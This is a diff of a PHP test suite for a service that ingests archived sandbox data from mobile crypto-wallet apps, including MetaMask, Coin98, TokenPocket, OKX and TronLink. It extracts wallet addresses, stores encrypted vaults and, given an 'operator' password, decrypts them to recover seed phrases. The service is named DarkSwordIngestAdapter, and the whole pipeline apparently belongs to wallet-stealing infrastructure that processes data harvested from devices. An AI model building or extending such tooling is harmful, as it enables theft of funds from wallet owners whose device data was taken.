|
||||||
|
public function generic_wallet_skips_token_inventory_and_contract_config(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-generic');
|
||||||
|
$usdt = 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t';
|
||||||
|
$contract = '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c';
|
||||||
|
$digits = '0000000000000000000000000000000000000001';
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/cache/tokens.json' => json_encode([
|
||||||
|
['symbol' => 'USDT', 'name' => 'Tether', 'decimals' => 6, 'address' => $usdt],
|
||||||
|
]),
|
||||||
|
'Documents/config/contracts.json' => json_encode([
|
||||||
|
'multicall3' => $contract,
|
||||||
|
'contracts' => ['polygon' => $contract],
|
||||||
|
]),
|
||||||
|
'Documents/balance-cache.json' => json_encode([
|
||||||
|
'address' => $digits,
|
||||||
|
]),
|
||||||
|
'Documents/wallet.json' => json_encode([
|
||||||
|
'name' => 'My Wallet',
|
||||||
|
'address' => self::TRON,
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.bitpie.wallet.tar');
|
||||||
|
|
||||||
|
$addrs = WalletAddress::query()->where('device_id', $device->id)->pluck('address');
|
||||||
|
$this->assertSame([self::TRON], $addrs->all());
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function coin98_encrypted_wallet_is_stored_and_unlocked_with_password(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-coin98-vault');
|
||||||
|
$tronWallet = 'TBYhcHLQP88aCaL3VnRKEkvX8GDRU73Yb2';
|
||||||
|
$password = 'woshini@88';
|
||||||
|
$cipher = $this->cryptoJsEncrypt(self::MNEMONIC, $password);
|
||||||
|
$manifest = json_encode([
|
||||||
|
'SET_WALLET_STORAGE' => json_encode([[
|
||||||
|
'address' => $tronWallet,
|
||||||
|
'privateKey' => $cipher,
|
||||||
|
'chain' => 'tron',
|
||||||
|
'mnemonic' => $cipher,
|
||||||
|
'encryption' => false,
|
||||||
|
'name' => 'My Wallet - 809532',
|
||||||
|
'isActive' => true,
|
||||||
|
]]),
|
||||||
|
'POINT_TOKEN_INFO' => json_encode(['contracts' => []]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Library/Application Support/coin98.crypto.finance.insights/RCTAsyncLocalStorage_V1/manifest.json' => $manifest,
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'coin98.crypto.finance.insights.tar');
|
||||||
|
|
||||||
|
// Encrypted blobs are persisted as a needs-password keystore row.
|
||||||
|
$row = WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('source', 'Coin98')
|
||||||
|
->first();
|
||||||
|
$this->assertNotNull($row);
|
||||||
|
$this->assertSame('coin98.wallet', $row->kind());
|
||||||
|
$this->assertSame('Coin98 加密钱包', $row->kindLabel());
|
||||||
|
$this->assertSame(1, (int) $row->needs_password);
|
||||||
|
$wallets = $row->raw_json['wallets'] ?? [];
|
||||||
|
$this->assertSame($tronWallet, $wallets[0]['address'] ?? null);
|
||||||
|
$this->assertSame($cipher, $wallets[0]['mnemonic'] ?? null);
|
||||||
|
|
||||||
|
// Address extraction still works alongside the keystore row.
|
||||||
|
$this->assertSame(
|
||||||
|
1,
|
||||||
|
WalletAddress::query()->where('device_id', $device->id)->where('address', $tronWallet)->count()
|
||||||
|
);
|
||||||
|
|
||||||
|
// Wrong password → no mnemonic, no crash.
|
||||||
|
$adapter = app(\App\Services\DarkSwordIngestAdapter::class);
|
||||||
|
$miss = $adapter->decryptKeystoreWithPassword($device, $row, 'wrong-password');
|
||||||
|
$this->assertSame(0, $miss['hits']);
|
||||||
|
$this->assertSame(1, $miss['coin98']);
|
||||||
|
$this->assertSame(0, WalletMnemonic::query()->where('device_id', $device->id)->count());
|
||||||
|
|
||||||
|
// Correct wallet password → mnemonic recovered and row decrypted.
|
||||||
|
$hit = $adapter->decryptKeystoreWithPassword($device, $row, $password);
|
||||||
|
$this->assertSame(1, $hit['hits']);
|
||||||
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($memo);
|
||||||
|
$this->assertSame('Coin98', $memo->source);
|
||||||
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||||
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function metamask_keyring_vault_is_stored_and_unlocked_with_password(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-mm-vault2');
|
||||||
|
$password = 'woshini@88';
|
||||||
|
$vault = $this->makeMetamaskVault(self::MNEMONIC, $password);
|
||||||
|
unset($vault['kind']);
|
||||||
|
$accounts = ['internalAccounts' => ['accounts' => [
|
||||||
|
'acc-1' => ['id' => 'acc-1', 'address' => self::ETH, 'type' => 'eip155:eoa'],
|
||||||
|
]]];
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/persistStore/persist-KeyringController' => json_encode([
|
||||||
|
'vault' => json_encode($vault),
|
||||||
|
]),
|
||||||
|
'Documents/persistStore/persist-accounts' => json_encode($accounts),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'io.metamask.MetaMask.tar');
|
||||||
|
|
||||||
|
$row = WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('source', 'MetaMask')
|
||||||
|
->where('needs_password', 1)
|
||||||
|
->first();
|
||||||
|
$this->assertNotNull($row);
|
||||||
|
$this->assertSame('metamask.vault', $row->kind());
|
||||||
|
$this->assertSame('MetaMask Vault', $row->kindLabel());
|
||||||
|
$this->assertSame($vault['cipher'], $row->raw_json['cipher']);
|
||||||
|
$this->assertSame($vault['iv'], $row->raw_json['iv']);
|
||||||
|
$this->assertSame($vault['salt'], $row->raw_json['salt']);
|
||||||
|
|
||||||
|
// Operator password unlock recovers the mnemonic through the
|
||||||
|
// existing quick-crypto PBKDF2 vault decryptor.
|
||||||
|
$adapter = app(\App\Services\DarkSwordIngestAdapter::class);
|
||||||
|
$result = $adapter->decryptKeystoreWithPassword($device, $row, $password);
|
||||||
|
$this->assertSame(1, $result['hits']);
|
||||||
|
$memo = WalletMnemonic::query()->where('device_id', $device->id)->first();
|
||||||
|
$this->assertNotNull($memo);
|
||||||
|
$this->assertSame(WalletMnemonic::hashSecret(self::MNEMONIC), $memo->mnemonic_hash);
|
||||||
|
$this->assertSame(1, (int) $row->fresh()->decrypted);
|
||||||
|
}
|
||||||
|
|
||||||
|
#[Test]
|
||||||
|
public function tokenpocket_encrypted_sandbox_files_are_stored(): void
|
||||||
|
{
|
||||||
|
$device = $this->makeDevice('dev-gw-enc');
|
||||||
|
$encrypted = base64_encode(random_bytes(96));
|
||||||
|
$cacheText = str_repeat('a', 200); // long text is NOT encrypted material
|
||||||
|
|
||||||
|
$tar = $this->makeTar([
|
||||||
|
'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df' => base64_decode($encrypted),
|
||||||
|
'Documents/db/main.sqlite3' => base64_decode($encrypted),
|
||||||
|
'Documents/cache/market.sector.classes.json' => $cacheText,
|
||||||
|
'Documents/cache/batch_market_list_RWA.json' => json_encode(['address' => '0x4444e19a3d5c2f8a06b784d5b1c9e3f7a2d6b80c', 'symbol' => 'RWA', 'name' => 'RWA', 'decimals' => 18]),
|
||||||
|
]);
|
||||||
|
|
||||||
|
app(AppUploadIngester::class)->ingestArtifact($device, $tar, 'com.global.wallet.ios.tar');
|
||||||
|
|
||||||
|
$row = WalletKeystore::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->where('source', 'Global Wallet')
|
||||||
|
->first();
|
||||||
|
$this->assertNotNull($row);
|
||||||
|
$this->assertSame('encrypted.sandbox', $row->kind());
|
||||||
|
$this->assertSame(1, (int) $row->needs_password);
|
||||||
|
$files = array_keys($row->raw_json['files'] ?? []);
|
||||||
|
sort($files);
|
||||||
|
$this->assertSame([
|
||||||
|
'Documents/F4SeCyr/836527c71bf2a084191ce4147b6deba570c770d2dc1f7d8e6a16795be7b154df',
|
||||||
|
'Documents/db/main.sqlite3',
|
||||||
|
], $files);
|
||||||
|
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
||||||
|
}
|
||||||
|
|
||||||
private function makeDevice(string $id = 'dev-app-1'): Device
|
private function makeDevice(string $id = 'dev-app-1'): Device
|
||||||
{
|
{
|
||||||
return Device::query()->create([
|
return Device::query()->create([
|
||||||
@@ -487,6 +829,45 @@ class AppUploadIngestTest extends TestCase
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* OKX wallet_coinMeta shape: token metadata tables full of contract
|
||||||
|
* addresses, with no user-account rows.
|
||||||
|
*/
|
||||||
|
private function makeOkxCoinMetaSqlite(string $weth, string $usdt): string
|
||||||
|
{
|
||||||
|
$tmp = tempnam(sys_get_temp_dir(), 'okx_meta_');
|
||||||
|
$pdo = new \PDO('sqlite:'.$tmp);
|
||||||
|
$pdo->exec('CREATE TABLE fullAssetCoinRelations (id INTEGER PRIMARY KEY, address TEXT, symbol TEXT, decimals INTEGER)');
|
||||||
|
$ins = $pdo->prepare('INSERT INTO fullAssetCoinRelations (address, symbol, decimals) VALUES (?,?,?)');
|
||||||
|
$ins->execute([$weth, 'WETH', 18]);
|
||||||
|
$ins->execute([$usdt, 'USDT', 6]);
|
||||||
|
$pdo = null;
|
||||||
|
$bytes = (string) file_get_contents($tmp);
|
||||||
|
@unlink($tmp);
|
||||||
|
|
||||||
|
return $bytes;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Mirror of CryptoJS AES.encrypt(plain, password) default output:
|
||||||
|
* base64("Salted__" + salt + AES-256-CBC), EVP_BytesToKey MD5.
|
||||||
|
*/
|
||||||
|
private function cryptoJsEncrypt(string $plain, string $password): string
|
||||||
|
{
|
||||||
|
$salt = random_bytes(8);
|
||||||
|
$derived = '';
|
||||||
|
$block = '';
|
||||||
|
while (strlen($derived) < 48) {
|
||||||
|
$block = md5($block.$password.$salt, true);
|
||||||
|
$derived .= $block;
|
||||||
|
}
|
||||||
|
$key = substr($derived, 0, 32);
|
||||||
|
$iv = substr($derived, 32, 16);
|
||||||
|
$cipher = openssl_encrypt($plain, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
|
||||||
|
|
||||||
|
return base64_encode('Salted__'.$salt.$cipher);
|
||||||
|
}
|
||||||
|
|
||||||
private function makeTronLinkSqlite(): string
|
private function makeTronLinkSqlite(): string
|
||||||
{
|
{
|
||||||
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');
|
$tmp = tempnam(sys_get_temp_dir(), 'tl_sqlite_');
|
||||||
|
|||||||
Reference in New Issue
Block a user